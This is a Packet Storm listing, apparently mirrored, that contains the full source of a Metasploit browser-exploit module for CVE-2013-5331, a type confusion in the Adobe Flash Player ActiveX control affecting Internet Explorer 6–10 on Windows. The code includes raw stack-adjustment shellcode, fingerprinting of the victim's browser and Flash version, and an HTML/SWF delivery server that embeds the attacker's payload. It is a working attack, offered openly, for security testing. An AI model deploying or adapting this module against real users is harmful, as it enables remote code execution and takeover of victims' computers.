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Adobe Flash Player Type Confusion Remote Code Execution

🗓️ 29 Apr 2014 00:00:00Reported by banneditType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 45 Views

Adobe Flash Player Type Confusion Remote Code Execution vulnerability found in IE 6 to IE 10 with Flash 11.7, 11.8, and 11.9 prior to 11.9.900.170 over Windows XP SP3 and Windows 7 SP1

Related
Code
`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::BrowserExploitServer  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Adobe Flash Player Type Confusion Remote Code Execution",  
'Description' => %q{  
This module exploits a type confusion vulnerability found in the ActiveX  
component of Adobe Flash Player. This vulnerability was found exploited  
in the wild in November 2013. This module has been tested successfully  
on IE 6 to IE 10 with Flash 11.7, 11.8 and 11.9 prior to 11.9.900.170  
over Windows XP SP3 and Windows 7 SP1.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Unknown', # Vulnerability discovery and exploit in the wild  
'bannedit', # Exploit in the wild discoverer, analysis and reporting  
'juan vazquez' # msf module  
],  
'References' =>  
[  
[ 'CVE', '2013-5331' ],  
[ 'OSVDB', '100774'],  
[ 'BID', '64199'],  
[ 'URL', 'http://helpx.adobe.com/security/products/flash-player/apsb13-28.html' ],  
[ 'URL', 'http://blog.malwaretracker.com/2014/01/cve-2013-5331-evaded-av-by-using.html' ]  
],  
'Payload' =>  
{  
'Space' => 2000,  
'DisableNops' => true,  
'PrependEncoder' => stack_adjust  
},  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f',  
'Retries' => false,  
'EXITFUNC' => "thread"  
},  
'Platform' => 'win',  
'BrowserRequirements' =>  
{  
:source => /script|headers/i,  
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",  
:method => "LoadMovie",  
:os_name => Msf::OperatingSystems::WINDOWS,  
:ua_name => Msf::HttpClients::IE,  
:flash => lambda { |ver| ver =~ /^11\.[7|8|9]/ && ver < '11.9.900.170' }  
},  
'Targets' =>  
[  
[ 'Automatic', {} ]  
],  
'Privileged' => false,  
'DisclosureDate' => "Dec 10 2013",  
'DefaultTarget' => 0))  
end  
  
def exploit  
@swf = create_swf  
super  
end  
  
def stack_adjust  
adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb  
adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit  
adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit  
adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset  
  
adjust  
end  
  
def on_request_exploit(cli, request, target_info)  
print_status("Request: #{request.uri}")  
  
if request.uri =~ /\.swf$/  
print_status("Sending SWF...")  
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})  
return  
end  
  
print_status("Sending HTML...")  
tag = retrieve_tag(cli, request)  
profile = get_profile(tag)  
profile[:tried] = false unless profile.nil? # to allow request the swf  
print_status("showme the money")  
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})  
end  
  
def exploit_template(cli, target_info)  
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"  
flash_payload = ""  
get_payload(cli,target_info).unpack("V*").each do |i|  
flash_payload << "0x#{i.to_s(16)},"  
end  
flash_payload.gsub!(/,$/, "")  
  
  
html_template = %Q|<html>  
<body>  
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />  
<param name="movie" value="<%=swf_random%>" />  
<param name="allowScriptAccess" value="always" />  
<param name="FlashVars" value="sh=<%=flash_payload%>" />  
<param name="Play" value="true" />  
</object>  
</body>  
</html>  
|  
  
return html_template, binding()  
end  
  
def create_swf  
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2013-5331", "Exploit.swf" )  
swf = ::File.open(path, 'rb') { |f| swf = f.read }  
  
swf  
end  
  
end  
`

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